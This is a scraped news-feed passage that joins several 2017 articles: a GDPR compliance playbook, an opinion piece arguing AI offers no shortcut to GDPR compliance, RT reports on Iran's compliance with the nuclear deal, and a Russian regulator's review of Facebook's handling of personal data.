  • IT: The IT team is tasked with the biggest burden related to GDPR: It must ensure IT systems, services, and technologies protect customer data and comply with outlined regulations.
  • Security: Given the hefty financial penalties associated with GDPR, cyber security programs must mitigate breach risk as much as possible. This is best achieved by concentrating efforts on the six cyber security pillars outlined below.

The game plan: A data-centric security program

Countries and organizations may define personal information in different ways, but the GDPR defines it as data that can be used to identify a person, such as a name, an email address, bank account information, social media posts, health information, and more. Because the GDPR is laser-focused on the collection, processing, and movement of this personal information, one of the best ways to achieve compliance is to take a data-centric view of your information security program and evaluate it against the following six pillars.

  1. Data governance: Understand and meet your organization’s GDPR obligations. Knowing what data is regulated and why this data is used to support business functions is essential before any other activity can be taken toward classifying it, administering access, or defining specific protections.
  2. Data classification: Analyze and classify relevant data for ongoing management. The data classification process entails locating data and assigning it a certain category (e.g., highly restricted, restricted, internal use, public), so your business can enable the right level of protections based on the associated business and regulatory risks.
  3. Data discovery: Locate sensitive data within the organization and set up structures for ongoing management. Organizations must be able to clearly articulate where their regulated data is — regardless of whether it’s in the cloud or on-premises, internal or third-party, structured or unstructured — and how it’s used.
  4. Data access: Determine who has and should have access to data and manage permissions accordingly. Knowing this vital information helps organizations defend the business need for the data and ensure data isn’t used outside of its intended purpose.
  5. Data handling: Implement safeguards for information and prepare for a potential data breach incident. Organizations must understand the risks associated with data at rest, as well as data that moves throughout the company, between companies and between applications, and implement appropriate protection measures. Perhaps most importantly, proper data handling lets you determine when an incident becomes a breach, which is essential, as GDPR requires notification within 72 hours of a company becoming aware of a data breach.
  6. Data protection: Protect sensitive information with an appropriate security program. The GDPR requires that organizations take technical and organizational measures to ensure a level of security appropriate to the risk, but it doesn’t outline how to do this.

The bigger benefits

GDPR is such an intimidating opponent to many U.S. organizations that they don’t even appear to be showing up for the competition, let alone trying to win. Rather than considering GDPR a problem too tough to tackle, view it as an opportunity to put the right building blocks (people, processes, and technology) in place for an effective security program. After all, when you have a well-run security program, regulatory compliance — including GDPR compliance — will be a natural side-effect.

J.R. Cunningham is VP of product management at cybersecurity advisory company Optiv.

READ MORE: Everything You Need to Know About GDPR

]]> https://briefnews.eu/gdpr-a-playbook-for-compliance/feed/ 0 AI does not provide a shortcut to GDPR compliance https://briefnews.eu/ai-does-not-provide-a-shortcut-to-gdpr-compliance/ https://briefnews.eu/ai-does-not-provide-a-shortcut-to-gdpr-compliance/#respond Mon, 18 Dec 2017 05:02:42 +0000 http://briefnews.eu/ai-does-not-provide-a-shortcut-to-gdpr-compliance/

GUEST:

Two acronyms are sure to grab headlines in 2018: AI and GDPR.

Gartner called AI the most disruptive technology of the next 10 years. The technology will certainly continue to generate increased attention about its advances and new applications in 2018.

The General Data Protection Regulation (GDPR) — a set of stringent European Union rules governing the way companies collect, manage, and use information on EU citizens — was described as a top priority by 92 percent of corporate leaders who responded to a recent survey.

Which begs the question: Will these two big trends merge? Can AI help organizations meet the GDPR’s May 25th, 2018 compliance deadline and avoid penalties? (If an organization doesn’t meet this deadline, it is subject to fines of up to 4 percent of its annual worldwide revenue or €20 million — whichever is greater.)

After all, AI is all about handling and deriving insights from vast amounts of data, and GDPR demands that organizations pore through their databases for rafts of personal information that falls under GDPR’s purview.

The answer: AI probably won’t be a magic bullet as companies scramble to address the regulation’s provisions.

For one thing, AI, despite all its promise, has not yet reached the adoption tipping point necessary to make it much of a factor in the GDPR effort.

“Total investment (internal and external) in AI reached somewhere in the range of $ 26 billion to $ 39 billion in 2016, with external investment tripling since 2013,” a McKinsey report says. “Despite this level of investment, however, AI adoption is in its infancy, with just 20 percent of our survey respondents using one or more AI technologies at scale or in a core part of their business, and only half of those using three or more.”

For another thing, it’s questionable to what extent an AI can tackle the unique GDPR requirements, most of which simply don’t lend well to automation.

GDPR aims to give EU citizens greater control over their personal data and hold companies accountable on matters such as data use consent, data anonymization, breach notification, cross-border data transfer, and appointment of data protection officers.

For example, organizations will have to honor individuals’ “right to be forgotten” — fulfilling requests to delete information on them and providing proof it was done. They must obtain explicit permission to gather data, rather than implied. And they are required to allow people to see their own data in a commonly readable format.

GDPR covers any information that can be used to directly or indirectly identify an individual – such as names, photos, email addresses, financial details, posts on social networking sites, medical information, or a computer IP address – no matter when it was collected.

In fact, there are questions about whether the EU will catch AI itself in its legal crosshairs because GDPR states that European citizens have a right to explanation when an automated decision is made about them.

The system will undoubtedly work those issues out, but, in the meantime, companies should roll up their sleeves with a thorough, systematic approach to prepare for the May 25th deadline rather than look to AI as a panacea. That multi-step strategy should include:

Data. A comprehensive plan to document and categorize the personal data an organization has, where it came from, and who it is shared with.

Privacy notices. A review of privacy notices to align with new GDPR requirements.

Individuals’ rights. People have enhanced rights, such as the right to be forgotten, and new rights, such as data portability. This demands a check of procedures, processes, and data formats to ensure the new terms can be met.

A legal basis for processing personal data. Companies will need to document the legal basis for processing personal data, in privacy notices and other places.

Consent. Companies should review how they obtain and record consent as they will be required to document it. Consent must be a positive indication; it cannot be inferred. An audit trail is necessary.

Children. There will be new safeguards for children’s data. Companies will need to establish systems to verify individuals’ ages and gather parental or guardian consent for the data processing activity.

Data breaches. New breach notification rules and new fines will affect many organizations, raising the importance of the need to understand how to detect, report, and investigate personal data breaches.

Privacy by design. A privacy by design and data minimization approach will become an express legal requirement. It’s important for organizations to plan how they will meet the new terms now.

Data protection officers. Organizations may need to designate a data protection officer. They should figure out who will take responsibility for compliance and how they will position the role.

There are many issues organizations need to consider as they ensure GDPR compliance. For now, only a human can do the heavy lifting in this process, not artificial intelligence.

David Fowler is head of privacy and digital compliance at Act-On Software, a marketing automation provider.

VentureBeat

]]> https://briefnews.eu/ai-does-not-provide-a-shortcut-to-gdpr-compliance/feed/ 0 UN watchdog confirms Iran’s compliance with nuclear deal amid calls to renegotiate P5+1 https://briefnews.eu/un-watchdog-confirms-irans-compliance-with-nuclear-deal-amid-calls-to-renegotiate-p51/ https://briefnews.eu/un-watchdog-confirms-irans-compliance-with-nuclear-deal-amid-calls-to-renegotiate-p51/#respond Mon, 13 Nov 2017 22:19:15 +0000 http://briefnews.eu/un-watchdog-confirms-irans-compliance-with-nuclear-deal-amid-calls-to-renegotiate-p51/ Iran has remained within the limits of the 2015 nuclear deal struck with six world powers, a fresh report by the International Atomic Energy Agency (IAEA) has said, amid new calls to renegotiate the strategic accord.

Iran “has not enriched” uranium above prescribed levels, stated the confidential quarterly IAEA document, issued Sunday and seen by AFP and Reuters. Tehran’s stockpile of enriched uranium was under the agreed limit of 300 kilograms envisaged in the Joint Comprehensive Plan of Action (JCPOA), the IAEA added.

Iran is cooperating with the IAEA, as its inspectors experienced no barriers in gaining access to the desired nuclear sites in the country. The UN watchdog, previously, confirmed Tehran’s compliance with the agreement on numerous occasions, underlining that it’s being subjected to the “world’s most robust nuclear verification regime.”

Read more

© Nazanin Tabatabaee Yazdi

Sunday’s report was the first issued by IAEA after Donald Trump refused to recertify Iran’s compliance with the accord in October, citing “multiple violations” by Tehran. The president gave Congress 60 days to consider whether the US should re-impose sanctions on Iran, even hinting at Washington’s complete withdrawal from the deal. The US also imposed a fresh set of restrictions against the Islamic republic, unrelated to its nuclear program.

Trump has been critical of the agreement, calling it “the worst deal ever” because, as he says, it affords Tehran unfair advantages.

On Friday, French President Emmanuel Macron joined the chorus, also speaking of the possibility of amending the nuclear deal with Iran to cover ballistic missile development, and to avoid what he called a “North Korean” scenario in the Middle East. The Iranian nuclear agreement “must be preserved,” but “complemented with two pillars,” which include Iran’s “ballistic activity” and “hegemony throughout the region,” the French leader said during his visit to the United Arab Emirates.

READ MORE: Macron wants to amend Iran nuclear deal to avoid Tehran’s ‘hegemony’ in Middle East

Tehran responded to Macron’s suggestions by pointing out that the nuclear program and the ballistic missile development were separate issues that shouldn’t be mixed. “France is fully aware of Iran’s firm stance towards its defense capabilities, viewing it as non-negotiable,” Bahram Qassem, Iran’s Foreign Ministry spokesman, made clear, adding, that the agreement was “not renegotiable and Iran doesn’t allow the other sides to annex other issues to it.”

The 2015 deal between Tehran and six world powers – China, France, Germany, Russia, the US, and the UK – involves, in broad terms, the removal of sanctions against Iran in exchange for Tehran curbing its nuclear program.

READ MORE: Iranian missiles have enough range to strike US targets – Revolutionary Guard chief

Following Trump’s refusal to recertify the accord, Tehran pledged its commitment to the deal no matter what. It added that the US stance will lead to its international isolation. The EU also brushed off American threats to withdraw from the JCPOA by reminding Washington that the P5+1 initiative was no bilateral agreement. Russia’s Foreign Minister, Sergey Lavrov, warned in October that efforts to renegotiate the Iranian deal would jeopardize international security, as it “may bury this important agreement in the sphere of strategic stability and nuclear non-proliferation.”

Let’s block ads! (Why?)

RT – Daily news

]]> https://briefnews.eu/un-watchdog-confirms-irans-compliance-with-nuclear-deal-amid-calls-to-renegotiate-p51/feed/ 0 Facebook checked for compliance with Russian law on personal data https://briefnews.eu/facebook-checked-for-compliance-with-russian-law-on-personal-data/ https://briefnews.eu/facebook-checked-for-compliance-with-russian-law-on-personal-data/#respond Wed, 08 Nov 2017 14:59:43 +0000 http://briefnews.eu/facebook-checked-for-compliance-with-russian-law-on-personal-data/

Russia’s communications regulator Roskomnadzor said on Wednesday it plans to review whether Facebook is complying with Russian law on personal data.

“Shortly Roskomnadzor will plan a series of supervisory activities aimed at analyzing Facebook administration’s activities regarding processing Russian users’ personal information, services, and the content of existing legislation,” the watchdog said in a statement seen by Interfax.

The inspection will show if Facebook’s activities correspond with the requirements of Russian legislation, according to Roskomnadzor, which warned appropriate measures will be taken.

In September the regulator said it would block the social network in 2018 unless Facebook complied with a law requiring websites to store Russian users’ personal data on servers in Russia.

READ MORE: LinkedIn refuses to comply with Russian data storage laws, will remain blocked – watchdog

The regulation on personal data came into force in September 2015. Under the law website operators should “ensure recording, systematization, accumulation, storage, processing (updating, modification) removal of personal data of Russian citizens by using databases located on the territory of the Russian Federation.”

Last year Roskomnadzor blocked access to LinkedIn after a court ruled the service violated Russia’s data storage law.

Let’s block ads! (Why?)

RT – Daily news

]]> https://briefnews.eu/facebook-checked-for-compliance-with-russian-law-on-personal-data/feed/ 0 US lawmakers want commission to look at Iran’s compliance with nuclear deal https://briefnews.eu/us-lawmakers-want-commission-to-look-at-irans-compliance-with-nuclear-deal/ https://briefnews.eu/us-lawmakers-want-commission-to-look-at-irans-compliance-with-nuclear-deal/#respond Wed, 27 Sep 2017 20:18:59 +0000 http://briefnews.eu/us-lawmakers-want-commission-to-look-at-irans-compliance-with-nuclear-deal/ Two congressmen have introduced legislation seeking to create a bipartisan commission to verify whether Iran is complying with the 2015 nuclear deal before President Donald Trump can make good on his campaign promise to scrap it.

Representatives Gerry Connolly (D-Virginia) and Francis Rooney (R-Florida) are seeking to set up a commission that would include 16 members of Congress and four representatives of the executive branch – of departments of State, Energy, Treasury and Defense – who would together examine intelligence data and draw a conclusion regarding Iran’s compliance with the agreement.

Read more

EU Foreign Affairs Chief Federica Mogherini speaks at the 72nd United Nations General Assembly in New York on September 20, 2017. © Eduardo Munoz

The landmark nuclear deal with Iran was negotiated by US, Russia, France, Germany, China, the United Kingdom and the European Union two years ago to ensure that Iran does not build a nuclear weapon.

“Increasing public transparency surrounding the Iran deal’s implementation is a critical priority. Congress has a role to play in effective oversight of this agreement, and we must assert that role regardless of whether the president certifies Iran’s compliance,” Connolly said Wednesday.

The proposal comes amid reports that Trump may decertify Iran’s compliance with the deal next month, when Washington’s certification deadline matures. CBS News reported last week that the president is leaning toward the decision. 

Trump said he had made a decision regarding the deal, but declined to say what that decision was. Secretary of State Rex Tillerson said Trump has not shared his decision “externally.”

However, Tuesday, the Chairman of the Joint Chiefs of Staff Joseph Dunford told Congress that Iran is complying with the agreement. The UN’s nuclear watchdog, the International Atomic Energy Agency (IAEA), announced a similar assessment three weeks ago.

Last week, Trump declared the deal with Iran an “embarrassment to the US” and threatened to quit the agreement if the IAEA is not granted full access to all Iranian military sites.

In July, his administration certified that Iran was in compliance and lifted the nuclear-related sanctions against Iran under the agreement. However, US officials have said that despite “technically complying” with the nuclear agreement, Iran remains a “destabilizing” force in the region.

Read more

Missiles are displayed as Iranian President Hassan Rouhani attends an armed forces parade in Tehran, Iran, September 22, 2017 © Reuters

“We cannot let a murderous regime continue these destabilizing activities,” Trump told the UN General Assembly last week, citing Tehran’s support for Hezbollah, the Syrian government as well as for Shia Houthis in the Yemeni civil war.

Iran could pull out of the 2015 agreement and bolster its nuclear program at a “greater speed,” should President Trump decertify the pact, Iranian Foreign Minister Javad Zarif warned this week.

Zarif underlined that Iran’s nuclear program “will remain peaceful,” but “will not address and accept the limitations that we voluntarily accepted.”

Zarif also noted that certification is not part of the deal and is only “US internal procedure.”

“It doesn’t absolve President Trump and the administration of the responsibility because the only authority that has been recognized in the nuclear deal to verify [compliance with the deal] is the IAEA,” the minister pointed out.

The nuclear agreement, officially known as the Joint Comprehensive Plan of Action (JCPOA), has to be re-assessed every 90 days by the US president in accordance with a Congress-created mechanism. The next deadline is set for October 15. If Trump decides to decertify, Congress will have 60 days to vote on re-imposing sanctions lifted under the pact in exchange for Tehran capping its nuclear program.

Under the terms of the deal, Iran agreed to reduce the number of its uranium enrichment centrifuges by two-thirds; cap its enrichment below the level needed for weapons-grade material; reduce its enriched uranium stockpile by 98 percent from around 10,000kg for 15 years; and allow international inspections.

Let’s block ads! (Why?)

RT – Daily news

]]> https://briefnews.eu/us-lawmakers-want-commission-to-look-at-irans-compliance-with-nuclear-deal/feed/ 0